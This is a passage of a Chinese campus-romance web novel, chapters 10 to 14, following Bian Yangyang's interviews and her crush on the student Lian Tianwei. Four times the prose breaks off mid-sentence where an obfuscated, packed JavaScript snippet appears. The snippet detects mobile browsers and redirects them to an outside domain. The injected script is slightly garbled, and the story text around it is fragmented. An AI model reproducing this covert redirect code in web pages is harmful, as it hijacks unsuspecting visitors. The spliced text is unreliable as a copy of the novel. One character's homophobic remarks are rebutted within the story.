“哼！总之你别想打他主意，门儿都没有。”撂下这话，周晗气冲冲地回到了座位上。 Tony冲他的背影吐了下舌头，“哼，渣男，叫你不戴套，活该。” “怎么了这是，谁惹你了？”周晗喜怒形于色，表情变化太过明显，练天维就关心地问了句。 周晗没敢把自己这糟心事儿说给别人，尽管他很想有个倾诉对象。他心里明白，这事儿只要说出去，别人都会在心里骂他一句渣男。他倒是不觉得自己渣，只能怪自己当时没管住下半身。 10. 第 10 章 “你看见吧台那个不男不女的了吗，”周晗轻蔑地看向Tony，“真不知道我姐为什么雇佣那样的人，恶心的同性恋，还想打你的主意。” 练天维脸上的笑意逐渐消失，侧头看向吧台，周晗口中恶心的同性恋正在对着他笑，还冲他眨了下眼，然后举起了手机。出于某种直觉，练天维就是很肯定那个男人是在对他做这样的表情和动作。 男人穿着工作制服，中等身量，看起来就二十来岁，染了一头黄发，头发有点长，发尾到脖颈处了。虽然离得较远，仍能看出化了妆，面容五官中等偏上。 练天维收回视线转过头，嘴角勉强扯起一个弧度，似是轻描淡写，又莫名让人有压迫感，“我倒不觉得他恶心，他怎么样都是他自己的自由，人与人之间还是互相尊重的好。” 周晗一口气憋在心里，他向来是有点怵练天维的，没有反驳，只闷头喝了一杯免费的柠檬水。 陶然敏锐地觉察到这气氛不对，打了个哈哈转移话题，问他对面腼腆的小男生，“林小天才定了去哪所学校读博吗？” 林小天才的名字叫林睿，计算机系大四学生，刚过19岁生日没多久。机缘巧合加入了练天维的团队，解决了很多技术难题，是团队里技术最强最有天分的。 跟很多少年天才一样，林睿跟周围大他好几岁的同学们不太有共同语言，强行融入他觉得很痛苦，经常独来独往，热衷于在专业技术论坛回答问题。 练天维就是在论坛里找到他，邀请他加入团队参与技术开发。 林睿喜欢练天维的idea，也喜欢练天维跟他对话的方式，不把他当小孩儿，所以同意了。 “我决定去米国的S大了，我喜欢它的建筑风格。”林睿说。 “哇，不错不错～以后可别忘了你陶然哥哥哦。” 林睿一本正经道：“不会忘记你的，虽然你没什么特别的，但你特别有钱。” 这话把其余三人都逗笑了，刚才的尴尬气氛总算消弭于无形。 周晗凑热闹，“那我呢，我在你眼里有什么特别的？” 林睿不假思索，“代码写得特别丑算吗？”一有空就偷偷给你改代码，累死孩子了。 “靠！”周晗气笑了，“听哥哥一句劝，以后出国了，少说话多做事。” 练天维也笑着问道：“那我呢？” 林睿答道：“你特别帅，人特别好，给我分了特别多钱，我爸妈还以为我干了什么违法乱纪的事儿。” 周晗：“啧啧，谁说小林子不谙世事了，拍老大马屁拍得不要太溜。” 陶然不满意了，“看我，玉树临风，翩翩佳公子，难道不帅吗，小林子你再仔细看看。” 林睿瞥了他一眼，“我没说你不帅啊，只是没有到特别的程度，不要混淆话题。” 说话间，Tony亲自把调好的酒端了上来，他只端了一杯，放到了练天维的面前，“帅哥，我请你的。” 说完，放了一张精致的名片，然后不等人开口拒绝就施施然走了。 周晗正想说“恶心”，想到刚才练天维的态度，换了句，“瞧他那屁股翘得，真是妖孽。” 陶然瞅了瞅，“他是0吧？” 周晗很不屑，“全清吧都知道他是被男人压的。他的一言一行一举一动，生怕别人不知道。” 林睿看了眼那杯漂亮的鸡尾酒，“我倒觉得他挺勇敢的，敢于做自己，不惧怕流言蜚语。” “你怎么跟我姐一样，我姐也这么说。”周晗有些郁闷，觉得身边人没一个跟他站在一边，难不成真是他自己有问题？！这个社会怎么了…… 陶然拍了下练天维的肩膀，打趣他，“嗨呀，我们天维的魅力绝绝子，男女通吃啊。” 练天维没有把酒退回去，把名片随手收进了衣兜。 Tony在吧台一直注意着他们这桌的动静，见练天维喝了他的酒，心里高兴得不得了。他打开扣扣，给边洋洋发消息。 绝世好0：小洋洋，帅哥喝我的酒了【跳跃】 绝世好0：喝了我的酒，就是我的人了，哼哼 正在研究一篇英文文献的边洋洋，看到Tony的消息捶胸顿足，大帅哥竟然是弯的！？大别墅轰然倒塌…… 洋洋得意：你俩约了？注意安全。 边洋洋发完这句，Tony再没回她了。 她暗下决心，不再惦记大帅哥了，也不再有事没事晃悠去计算机学院了。 失望有，难过有，好在她连人家名字都不知道，中毒不深。不过消沉了一个晚上，第二天又是一条好汉了。 另一边，清吧里。 周晗收到了女友发的消息，一条接一条，都是关于结婚的，索性关了机，眼不见为净。心里郁闷，一杯接一杯地喝了不少酒。 陶然喝了个微醺，笑话周晗，“我们团队只是散伙，又不是永不相见，你至于这么借酒浇愁么。” 周晗已经醉得有些意识不清，开始下意识地吐真言了，“老子还这么年轻，就要被迫走进婚姻的坟墓了，我不甘心啊我，吗的。” 这话一出，三双眼睛齐刷刷盯着他看。 林睿只喝了一罐啤酒，清醒得很，好奇问道：“周晗哥你要结婚了？可你还没毕业啊……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317137|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周晗一挥手，“屁，谁说我要结婚了，我不结！我都不喜欢她了，我为什么要结婚，我不结，就不结！” 他翻来覆去地重复那句“我不结”，再问也问不出什么了。 喝得差不多了，练天维提议，“咱们今天就到这儿吧，周晗这样子回去宿舍不太好，要不就让他在这儿住一晚吧。” 陶然点了点头，“嗯，他姐今天好像不在，我去结账，顺便叫个服务员把他弄去休息。” 练天维打开钱包，从里面拿出一张百元钞票，“把这个给吧台那个调酒师，就说谢谢他的酒，调得很好，但我更喜欢白开水。” 陶然翻了个白眼，无奈地接了钱，“从高中开始，我就帮你挡桃花善后，这么多年了，还摆脱不了这命运，我上辈子是不是欠你的。” 练天维也不反驳，催促他，“行了，你快去吧，我在这儿看着周晗。” Tony收到那百元大钞时，失望之情溢于言表，“那好吧，白开水有什么好喝的，天涯何处无芳草。” 清吧二楼是员工宿舍，最小的一间房是周老板留给自己偶尔应急的。 喝醉酒的人死沉死沉的，周晗186的个子，身材又壮实，一个人还扶不动。服务员在前面带路，练天维和陶然一左一右扶着他到了房里，安顿好后才离开。 闹市区不好停车，陶然今天没开车。练天维叫了网约车，等车的空档悄悄把兜里的名片扔到了一旁的可回收垃圾桶里。 边洋洋最近很忙，不是啃文献就是在实验室，一忙起来已经快把大帅哥忘得差不多了。陌生人哪有自己的前程来得重要。 到了面试那天，边洋洋已经熟知了新国理工大学CEE学院所有环境科学与工程领域教授的研究专长并拜读了他们最新发表的论文，不管遇到哪个教授当面试官都能投其所好。 为表重视，边洋洋还咬咬牙花了1000多块在商场买了套打折职业装。这可是她有史以来在置装上的最大一笔花销。 “好美啊我的天！你这个可盐可甜的小妖精～”吕欢围着换上职业套装的边洋洋打转，“不说别的，冲你这颜值和气质，面试官都愿意给你发offer。” 边洋洋平时穿着休闲喜欢扎马尾，虽然漂亮但很学生气，说是高中生都有人信。换上职业装，黑亮长发散在背后，再化上淡妆，整个人气质大变，一下就有了职场成熟精英范儿，让人眼前一亮。 她对着手机屏幕理了理头发，“明明可以靠颜值，可我偏偏要靠才华。借你吉言，拿到offer后我请客。” “靠才华就更没问题啦，等你好消息。” 11. 第 11 章 收音机里的天气预报说今天风大，五到六级的北风。 边洋洋拉开窗帘往街道上望去，阳光灿烂，路上行人全副武装脚步匆匆，枯叶尘土被风卷起胡乱飞舞，一个不知道来自哪个垃圾桶里的红色塑料袋被风吹到光秃秃的树干上挂住了。 怕风吹乱头发破坏造型，也怕在人挤人的地铁上把衣服挤得皱巴巴，边洋洋在打车软件上叫了个最便宜的经济型网约车。 仔细核对了车牌号，边洋洋仍是有些不太相信自己的眼睛，不是经济型吗，怎么来了个进口宝马五系？！她爸一直想买这款车，连看中的车身颜色都是一样的。 她拨了下司机师傅的电话，眼睁睁看着宝马司机接了起来。默默地挂断电话，边洋洋走到后座拉开车门上了车。啧，连内饰颜色都跟他爸喜欢的一样，雪山白配经典黑，没新意但不会出错。 司机师傅跟她确认了手机尾号，又跟她确认了目的地才启动车辆。因着对车的亲切感，边洋洋主动跟司机攀谈了起来。司机也是个健谈的，说他工作清闲且无聊，想多见见不同的人听些有趣的事，就注册了网约车。他的车型是豪华型，但豪华单太少了，只能自降等级接经济单。 如果是打工人，一般来说，清闲的工作工资不会太高，怕是负担不起这车的日常开销。 反正是陌生人，边洋洋说话直来直去，“你是富二代，官二代还是拆二代啊？” 司机看着也就二十来岁，闻言哈哈笑道：“我可不是什么二代，二代们可不会开这么便宜的车，怎么也得百万起步不是。” 边洋洋心说，人倒是不傻，不是个好套话的。她也就随便一问，倒没真想打探人的隐私，说到底不过是同坐一辆车同行十几公里路程的缘分而已，爱说不说。 “你去的那个酒店挺不错的啊，在那儿上班还是去面试啊？” 面试的酒店是新国豪华酒店连锁品牌，服务一流位置佳。边洋洋是在学校附近上的车，眼下正是各大公司的校园招聘季，加上她那一身正装，有此一问倒是正常。 “面试。” “巧了，我也是去那儿面试。咱俩不会是同一个面试吧？”司机说。 边洋洋这下是真惊到了，比当初看到这车接她单还震惊，“你是什么面试？” “新国理工大学的招生面试，你呢？” 边洋洋身体往前倾了一点儿，不着痕迹地打量了一下司机的穿着，羊毛衫休闲裤。参加学校的招生面试其实这么穿也还行。反观自己，似乎过于正式了。 得，打车都能遇到竞争对手，这运气也是没谁了。 “我也是。” 司机扭头冲她笑，“那咱俩可太有缘了，说不定能做同学呢。本来我没想接单的，看你目的地跟我一样才接的。” 虽然不知道对方底细，但边洋洋对自己很自信，哪怕只有一个名额，这名额也得是她的。想要跟自己做同学，只能祈祷学校多给点招生名额了。 “嗯，那就祝你通过面试啰。” “我肯定没问题，你要加油哦。” “……”边洋洋没想到这人竟跟她一样自信。不过，有一种自信叫盲目自信。 剩下的路程里，两个都很自信的人默契地没再交流了。 到了酒店门口停车处，宝马司机主动打开自己的二维码，“这么有缘，加个好友？” “行啊。”边洋洋大方地扫了码，对方很快通过。边洋洋看了眼，昵称大概是真名，叫狄沛泽。 收起手机，边洋洋道：“那我先上去了，一会儿见。” “好嘞，回见。” 后来两人并没在面试现场见到。 边洋洋乘电梯去到面试的楼层，没多会儿就轮到她了。而她结束出来之前，狄沛泽刚好进了另一个面试房间。 面试边洋洋的教授是研究膜处理技术的，这恰好是边洋洋最感兴趣的方向，她认为这个技术很有前景，所以近期看了比较多相关的论文。 简直是天助我也。 教授手里拿着她的申请资料，边洋洋视力很好，瞄到纸上有用黑色笔划了一些线条和圈圈，想必是有认真看过的。 教授年逾五十，一手拿资料一手扶了扶垂下的眼镜，对着端坐在对面沙发的边洋洋微笑道：“我看过你的资料，你很优秀。你先做下自我介绍吧。” 果然免不了这个环节。 边洋洋早有准备。Steve学长告诉过她，当面试人让你做自我介绍，并不是想听你重复简历上的内容，而是想听些简历上没有的。自我介绍作为面试的第一环节，讲得好很容易博好感给人留下深刻印象，成功率会大大提升，反之亦然。 A大没有做膜技术研究的教授，边洋洋选的毕业课题是好氧颗粒污泥技术相关的，这是A大的强项。他的自我介绍里没有像一般学生那样提及自己GPA有多高、拿过多少奖之类的内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317138|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容，而是结合毕业课题阐述了她对好氧颗粒污泥技术和膜技术的看法，最后表态她对膜技术更感兴趣，而新国理工大学在这个领域的研究走在世界前列，所以对这个研究生项目很感兴趣。 “如果有幸被录取，我的研究生毕业课题想选择膜技术相关的。谢谢。” 边洋洋的英语说得很流利，但从小带着的方言口音很难改掉。好在国内所有面试者母语都不是英语，多多少少都会带口音，互相之间能听懂就不会减分。 教授点了点头，目光中流露出赞许。接下来的话题便围绕在膜技术上展开了，这正是边洋洋想要的效果。她知道自己是班门弄斧，但机会难得，这对她来说不只是一场面试，更重要的是跟业内大牛对话的机会。大牛之所以是大牛，他的一句话可能就会让你醍醐灌顶走出定势思维。 两人聊得投机，不知不觉就超过了面试时间，还是助理敲门进来提醒他们才打断了对话。 临走前，教授给了她一颗定心丸，“我们新国见。” 边洋洋两眼放光，激动之情溢于言表，她的确是很久没有为得到一个东西而这么高兴过了，“谢谢您，新国见。” 候场面试的人不少，有学生模样的也有工作好几年的，从气场上很好分辨。新国这个研究生项目不限制是否应届生，也没有年龄限制，甚至专业都没有要求一定是环境专业，只要相关专业即可。因为环境本身就是个综合性的交叉学科，本科如果是其他理工科专业，反而因为功底扎实可以在特定领域一展所长。就拿边洋洋感兴趣的膜技术来说，如果本科是学有机化学的就很有优势。 新国理工大学效率很高，面试一周后就发了offer。几乎是在收到offer的同时，边洋洋就收到了狄沛泽的消息。这还是面试那天加好友后两人第一次联系。 狄沛泽：我收到offer了，你呢？ 洋洋得意：我也收到了。 狄沛泽：恭喜恭喜！咱俩还真是有缘，还真就成同学了，以后多多关照哈 洋洋得意：同喜。要关照也是你关照我吧，宝马大哥【社会社会】 狄沛泽：嗨，如果我说我一个月工资就四五千，你信吗？ 洋洋得意：信啊，工资又不等于收入 狄沛泽：你这人有意思，约个饭呗？ 反正以后是同学，出门在外少不了互相帮忙，提前熟悉熟悉倒是没坏处，边洋洋便应下了。 12. 第 12 章 边洋洋拿到的是全奖offer，全到连机票都报销。 她第一时间截图发给了Steve，说感谢他的面试指导。 Steve：恭喜你。是你自己厉害，我没帮到什么【微笑】 洋洋得意：学长谦虚了，你帮到我们很多。 洋洋得意：小狗作揖.jpg Steve：这是你家养的狗吗？ 洋洋得意：我爷爷家的，名字叫花嘴儿，因为它通体全黑，就嘴巴那里有一点白毛。 Steve：挺可爱的。 两人就狗的话题聊了好久。聊完边洋洋才想起来告诉舍友们自己拿到offer这事儿。 她在宿舍群发了消息，问她们什么时候有空。那俩秒回，说今晚就有空。 于是，三人开开心心去学校附近最贵的火锅店搓了一顿。一顿饭的功夫，边洋洋拿到全奖offer的事儿全班都知道了。因为方心意在班级群里广播了。 “你改名叫小喇叭得了。”边洋洋骨子里是个低调的人，对此有些无奈，却也不会真的责怪方心意。 方心意还在群里吹彩虹屁，“这可是一辈子一次的大好事儿，PhD拿全奖的不少，但你放眼全世界，有几个硕士项目是有全奖的，我这辈子跟我们专业是没缘分了，洋洋你拿到了offer我与有荣焉。你就让我得瑟一下呗，嘿嘿。” 同学们相互之间时不时就打听别人的毕业去向，就算方心意没在群里说，很快大家也都会知道。 班级群很多人@边洋洋，辅导员也@她了，她只好去群里一一回复并表示感谢。 601宿舍时来运转，吕欢找工作的进展也逐渐顺利。到12月中旬的时候，她收到了第一个offer，是一家挺有名气的商业银行。据说这家银行招的应届生里，只有吕欢一个本科生，这事儿在学院引起了不小的轰动。 与此同时，边洋洋也陆陆续续收到了申请的其他学校的回信，有拒信也有全奖offer。但她已经决定去新国理工大学读硕士，便逐个婉拒了。 至此，601宿舍三人的毕业去向算是定下来了。 吕欢很感激Steve学长，“洋洋，你跟学长说一下，说我想请他吃饭，请他务必赏光。” “好。” 边洋洋在扣扣上如实转告，不怎么意外地，学长拒绝了。 “啊，请吃饭都拒绝，请他去我家玩儿估计更没戏了。”吕欢是个知恩图报的，总觉得心里过意不去。 边洋洋那边还在跟人聊天，“学长说，你要真想做点什么报答他，不如把你的求职经验分享给找工作的校友们，他说你作为一个本科生，成功跨专业找到好工作，对很多人来说都有借鉴意义。” “学长人真的好好，”吕欢打开了word文档，“我这就去写。你问问学长，可以面基吗？想跟他交个朋友。” 边洋洋也这么想，她渐渐地不再满足于两人只是网友的关系，想跟Steve做现实中的朋友。没什么特别的原因，就是觉得跟他很聊得来，很投缘。哪怕他长得丑声音不好听也没关系，毕竟这些外在的东西是先天的，做朋友看重的是内在。 但如果是另一半，太丑就不行了，声音难听更不行，毕竟是要朝夕相对一辈子的。 然而，Steve又拒绝了。 边洋洋有些失落，吕欢倒还好，“如果我是漂亮学妹，学长说不定就愿意面基了。男人嘛，大家都懂。要不你发张你的照片给他？” 边洋洋不置可否地“哦”了一声，并没有发照片的打算，如果学长因为自己的长得好看就改口答应面基，她反而看不起他了。可如果学长看了照片还是不面基，她会觉得没面子。总之，怎么想都不能发这个照片。 “要不你发张靓照给他试试？”吕欢促狭道。 边洋洋恼羞成怒，“写你的东西去！” 陶然抱着笔记本窝在懒人沙发上，“你今天怎么老玩儿手机？” 练天维发完消息，把手机放到桌面，注意力重新回到了电脑上，“你什么时候变得这么喜欢管闲事了。” “关心你不行啊。你说，毕业后，我要不要把这房子卖了？” 这房子是陶然妈妈买给他的。大一开学那天，看了住宿环境之后，他妈当场流下泪来，说学生太苦了，四个人挤一个小屋子。当即退了宿舍，找中介在学校附近全款买了套房。 A大附近都是上了些年头的老小区，但因为学区好，供不应求。陶然妈妈本想买个面积大点儿的，可房源实在不多，加上时间紧迫，最后只买到了一套70平米的两居室。 “委屈你了儿子，只能凑合着住了。” 陶然心说一点儿不委屈，不在他妈眼皮子底下，别提多自在了。等陶然妈妈一走，他就邀请练天维跟他同住。 练天维没答应，他那时想进校学生会，觉得住宿舍更方便，搬到校外容易跟同学们脱节。不过，到了大四，他卸任校学生会会长职务，开始组建团队开发手游，经常没日没夜，在宿舍住就不太方便了。从那时起，他就搬到了陶然的房子跟他同住。 “我记得阿姨买这房子的时候，房价是6万一平，现在已经10万一平了吧。你要是不急用钱，就留着呗，说不定以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317139|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后你的孩子上大学还可以住。” “你说得也对，这房子咱俩也住了这么些年，你别说，还住出感情来了。以后咱俩的孩子可以一起住。”陶然合上电脑，打了个哈欠，“中午吃啥？” 练天维想起刚才边洋洋说她们宿舍中午吃麻辣烫，“点麻辣烫吧，微辣。” 吃完热乎乎的麻辣烫，吕欢开始写求职小作文，断断续续写到了天黑才写完。 吕欢站起身伸了个懒腰，说：“终于写完了，我要去论坛发帖了，看管理员会不会给我加精。” 边洋洋正在准备圣诞节的歌单，“你发完了给我一个链接。” “好。”吕欢打开学校论坛的求职版，扫了眼今天的加精帖子，顺手点了进去，“学生会搞了个求职交流会，邀请的人里面有Steve学长！” Steve在之前的求职经验分享帖里说了自己的学院年级和公司offer，很容易解码，毕竟A大计算机学院就他一个人拿到了那家公司的offer。 吕欢激动地念帖子内容，“原来Steve学长叫练天维，这名字怎么有点耳熟，”她把链接分享给了边洋洋，“学长也太牛了吧靠。” 边洋洋打开链接仔细看了起来，本科校会主席，创业比赛特等奖，十佳大学生，多篇SCI论文…… “确实挺牛的，”边洋洋的关注点有点清奇，“做成这些事，应该没空谈恋爱了吧。” 吕欢不赞成她的观点，“我想起来为什么耳熟了，以前听校学生会的人提起过他。学长这样的风云人物，倒追他的女生得从东门排到西门吧，谈恋爱又不费时间，正好是他繁忙校园生活的调剂。” 练天维这样的人，本科的时候在八卦版肯定是常客。他参加那么多活动，肯定会有照片。边洋洋没跟吕欢争论，默默地点进了她从未逛过的八卦版块，在搜索框输入了练天维三个字。 果然，有很多跟他相关的帖子，看发帖时间，往回数六年，年年都有。最新的贴竟然是十分钟之前发的，标题叫：细数A大风云人物练天维这些年的荣耀瞬间——靓照合集，颜狗进来不亏！！ 边洋洋的心不知为什么咯噔了一下，她点了进去。 看到第一张照片时，她就傻眼了。她揉了揉久对电脑屏幕有些干涩的眼睛，鼠标往下拖，一直拖到最新的一张照片。 没错了，的确是那个她遍寻不着的大帅哥。这个世界上不可能有长得这么像的两个人，就算有，也不可能恰好都是A大计算机学院研三的。 她现在就是后悔，为什么没有在大一的时候就偶尔抽点时间关注一下八卦版呢…… 13. 第 13 章 边洋洋之所以知道大帅哥的学历底细，是因为她面试完去清吧兼职的时候逼问Tony了。当时得知他们没约上，心情怪好的。是以，最近去实验室做实验又开始骑车绕道计算机学院了。 “我要是当面去请他吃饭，你说他会不会拒绝啊？”吕欢编辑好了帖子，点了发布，顺便把链接发到了边洋洋的扣扣上，等了一会儿没等到边洋洋回话，她转头看向边洋洋，“洋洋，你听没听我说话啊？” “啊？”边洋洋回过神，心跳还没缓过来，先一把扣住了电脑，“你刚说什么了？” “你发什么呆呢，我刚说，去当面请学长吃饭。” “好啊，我陪你一起去。” “那什么，你把学长扣扣号发我一下，我先加一下他。” “这会儿想起来要加了？自己找去。”边洋洋现在特别庆幸，心里美滋滋的，觉得她跟练天维之间冥冥之中有天意。 吕欢站起身走到她身边，要去扒拉他手机，“你以为我没找吗，可能是被解码了，现在学长那个帖子里已经没有联系方式了。” 最后，边洋洋还是把号码给了吕欢。 “他通过了吗？”边洋洋比当事人还急。 吕欢一脸莫名，“你都问几次了，学长是大忙人，哪里会一直盯着扣扣看啊。” “是吗？”边洋洋每次给Steve发消息，不说每次秒回，但基本都会在一个小时以内回复。 她把Steve的备注改为练天维，复制吕欢给的链接发给了练天维。 两分钟后，练天维回复她：你同学写得不错。 边洋洋猛地回头，问吕欢：“学长通过你的好友申请了吗？” 吕欢看了下手机，“没啊。” 说不清是幸灾乐祸还是什么，边洋洋情不自禁地哼起了欢快的小调儿。 一直到几天后的求职交流会，吕欢都没能加上练天维的好友。 她终于意识到不对劲儿了，问边洋洋：“你最近跟学长聊天了吗？” 边洋洋实话实说，“聊了啊。” 每天都有聊，自从知道练天维学长就是大帅哥以后，别提多殷勤了，短短时间就练出了没话找话的本事。 边洋洋还是第一次对一个人如此热情主动。身在寒冬，心在暖春。 没等边洋洋给练天维找借口，吕欢已经给自己找补了，“肯定是交流会通知发出来后，太多人去骚扰学长了。没事儿，等会儿交流会结束了我当面找他说。” 边洋洋跟练天维聊天的时候没提交流会的事儿，暗戳戳地想给他一个惊喜。虽然她心里也清楚，这不过是自己单方面的臆想而已。 “行吧。”边洋洋从柜子里拿了两件毛衣在身上比划，一件白色，一件浅粉色，“你觉得哪件好看一点儿？” “都挺好看的。”吕欢说，“人好看穿什么都好看。” 毫无参考意义的意见，白问了。边洋洋拿着衣服去了卫生间，穿好后对着里面的镜子比较，似乎都差不多。 她穿衣服向来是中规中矩，没什么时尚眼光，倒也不至于土得掉渣。今天还是头一次为穿什么衣服而犯难。为悦己者容这事儿，看来对所有女生都适用，边洋洋心想。 吕欢在外面敲门催促，“你还有多久啊，再不走快来不及了。” “马上就好。” 最后，边洋洋穿了白毛衣搭深蓝色鱼尾半身裙，棕色尖头短靴。出门前套上了黑色长款羽绒服。 “你是不是喜欢上学长了？”吕欢上下打量边洋洋，“这还是今冬你第一次穿裙子吧？” 宿舍几人时不时就在睡前卧谈，从不避讳谈论自己的感情问题。 边洋洋也不扭捏，十分坦荡地承认了，“目前来讲，对他确实有好感。” 吕欢打了个响指，“哇哦，我们洋洋美女终于春心萌动了哈。话说学长那样的男神，谁能不动心啊，可惜我有自知之明，就不当你情敌了，嘿嘿。” 俩人有说有笑地走到了举办交流会的地方。 交流会在一个可容纳400人的阶梯大讲堂。边洋洋她们赶到的时候，离开场还有十分钟，但只剩后排的位置了。 “可惜了，不能近距离看学长。”吕欢看着乌泱泱的人头道。 “没事儿，我视力好。”5.2的视力这不就派上用场了么。 两人沿着过道从下往上，在倒数第三排的中间找到了两个相连的空位坐下。 讲堂里暖烘烘的，边洋洋脱下羽绒服放在膝盖上抱着，“这人也太多了点儿吧。” “你没发现来的女生很多吗，第一排全是女生，绝了。”吕欢前后左右乱瞧一通，“就这会儿功夫，后排也坐满了。” 边洋洋一直盯着讲台处，按照日程，第一个出场的就是练天维，她一秒都不想错过。 这时，坐在她旁边的男生拿笔记本碰了碰她的胳膊，略微羞涩地问她：“同学，你是哪个学院的？也是大四吗？” 边洋洋跟吕欢都是空着手来的，不算手机的话。 “嗯， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317140|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环境学院的。” 男生继续道：“我看你挺眼熟的，好像在哪儿见过你。” 他旁边的另一个男生歪着脑袋看边洋洋，附和道：“是啊是啊，肯定在哪儿见过。” 边洋洋尴尬一笑，“可能我长得比较大众脸吧。” 在清吧兼职占用了她不少时间，所以她参加的社团活动不多，就加入了一个志愿者协会和吉他社，鲜少在人多的场合露面，除了刚进大学那会儿参加的新生校园歌手大赛。 但时隔这么久，新生都好几茬了，应该不会有人还记得她吧。 吕欢凑到边洋洋小声道：“你又被搭讪啦。” 这种场景简直不要太熟悉，以前上公共课的时候，就总有男生往边洋洋旁边的位置凑。以至于后来边洋洋只能坐吕欢和方心意的中间。 男生连连摆手，“同学你太谦虚了，你这长相让人过目不忘。” “是吗，那你们怎么都不记得在哪儿见过我了。”边洋洋毫不留情地拆穿了他的夸张之词，眼睛直视着讲台处。 “……”男生转头跟旁边的男生说起了悄悄话，“脸是好脸，可惜长了一张嘴。” 晚上八点整，交流会正式开始，说话声戛然而止，全场自觉安静了下来。 讲台左侧的门被人从里到外打开，边洋洋的心开始不受控制地狂跳。 第一个出来的是女生，穿一身OL风的裙装，端庄大方。 “这就是现任校学生会的会长，经管学院大三的。”吕欢大四之前都在院学生会混，跟校学生会的人时有接触，比较清楚里面有哪些主要成员。 “看着挺温婉的吧，”吕欢小声说，“其实特别强势，好奇什么样的男人才能hold住这样的女强人。” 边洋洋握着羽绒服的手心出了一层汗，被这么一打岔，紧绷的情绪倒放松了一点儿，“咱家又不住海边。” “跟咱家……”吕欢反应过来了，“也是。” 第二个出来的就是练天维。吕欢说了什么边洋洋已经自动屏蔽了，她的所有感官都给了款步而出的男人。男人身材颀长匀称，目测至少185cm，西装裤包裹的腿长且直，如精心雕刻般的俊美脸庞比商场里男装店的平面模特还帅。 没错，她觉得练天维是男人。跟在场的学生不一样，一身休闲黑西装的练天维由内而外散发着一股子自信又成熟的气质。 会场躁动了起来。 边洋洋面上冷静，心却躁动了。她的视线黏在练天维身上，心如擂鼓。 14. 第 14 章 交流会一共邀请了五位嘉宾，有研究生也有本科生，采用圆桌讨论的形式。五位嘉宾依次出场，按照名牌落座，练天维在中间的C位。 落座之时，终于有大胆的女生抑制不住激动之情“啊啊”叫了几声。 主持人就是第一个出来的女生，足以见得校学生会对此次交流会的重视。 她拿起话筒站在讲台处，说了一堆官方的客套话，然后请招生就业办的老师开场。 老师讲了什么，边洋洋一句都没听进去，她觉得自己已经快被练天维的浅笑迷晕了，哪怕那可能只是他的营业微笑。 待老师一走，整个讲堂的氛围立马变得轻松了。 “接下来，我们的圆桌讨论就正式开始了。首先，请各位嘉宾给大家做一下自我介绍吧。那，就从练天维学长开始吧。” 女主持人把话筒递给了练天维。 正合边洋洋的意，她今晚坐在这里本就只是为了他。 练天维从容地接过话筒，悦耳的声音响起，“大家晚上好，我是练天维。” 边洋洋紧紧地攥住衣角，嗷嗷嗷！！！我的妈呀！！！这声音怎么这么苏，把她的心都酥化了。 她赶紧拿起放在桌面的手机，悄悄打开了录音功能。 比起台上人俊朗完美的五官，边洋洋更钟意他的声音。她一个妥妥的声控，从没听过如此好听的男子嗓音，那声音简直就是为她的听觉审美量身定制，每念出一个字就在她的心上轻轻抚了一下，温柔地、抑扬顿挫地。 她怔怔地看着谈笑自若的练天维，如果面前有镜子，她就能看到自己此时傻里傻气花痴的样子。 她想，她大概是对练天维一见钟情再见倾心了，小心脏一直扑通扑通加速跳着。她从未有哪一刻像现在这么想谈恋爱，迟来的春心终于萌动了。 以前的她，不理解隔壁宿舍同学做完一天实验累得跟狗一样还去陪男朋友吃夜宵的行为，不理解那些为了追人天天起早给人买早餐的同学，不理解在自习室里卿卿我我不看书的情侣……她不理解的行为很多很多，没法一一列举。 直到此时此刻，看着练天维微笑，听他不疾不徐地说话，她一下就都理解了。 只要是那个心仪的人，做再傻逼的事儿都乐在其中，也根本不会在意旁人的眼光。 两个小时的交流会过得很快，主持人只给了五个提问机会，那意思是问完就结束了，嘉宾会立刻离开。不会再像以往那样，结束了还能走上前台围着嘉宾问东问西。 